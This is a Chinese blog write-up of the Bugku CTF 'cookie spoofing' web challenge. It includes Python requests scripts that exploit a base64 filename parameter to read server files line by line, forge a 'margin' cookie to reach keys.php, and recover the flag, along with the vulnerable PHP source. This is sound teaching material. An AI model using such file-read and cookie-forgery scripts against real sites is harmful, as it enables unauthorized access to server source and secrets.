bugku-writeup cookie欺骗

原创

qq_43370221 于 2020-04-24 22:05:56 发布 71 收藏

分类专栏： bugku 文章标签： 安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43370221/article/details/105740894

版权

bugku 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

cookie欺骗

> 加载页面后发现一串无意义的字符串，查看get参数 发现filename是base64编码，解码后是可以keys.txt
> 尝试index.php的base64作为参数的话出现了index.php 遂直接读出index.php的源码

```
import requests
import base64
fo = open("index.php", "w")
url = "http://123.206.87.240:8002/web11/index.php"
for i in range(40):
    payload = {"line": i, "filename": "aW5kZXgucGhw"}
    r=requests.get(url,params=payload)
    fo.write(r.text)
fo.close()
```

读出的源码为：

```php
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //判断filename 是否为空 file=解码后的文件名否则是空
$line=isset($_GET['line'])?intval($_GET['line']):0;//参数无行数则是0
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //不输入filename参数默认值
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //如果有cookie 添加一个元素
$file_list[2]='keys.php';

}
if(in_array($file, $file_list)){
$fa = file($file); //把文件读入数组
echo $fa[$line]; //输出文件
}
?>
```

> 修改刚刚代码 加入cookie和修改get参数为keys.php的base64编码类型

```python
import requests
import base64
fo = open("key.php", "w")
cookie = {'margin': 'margin'}
url = "http://123.206.87.240:8002/web11/index.php"
for i in range(40):
    payload = {"line": i, "filename": "a2V5cy5waHA="}
    r = requests.get(url, params=payload,cookies=cookie)
    fo.write(r.text)
fo.close()
```

> 注意：简单方法是burp抓包修改get参数，并添加cookie。也阔以用harkbar修改即可，这里是为了熟悉requests模块

得到flag

```
<?php $key='KEY{key_keys}'; ?>
```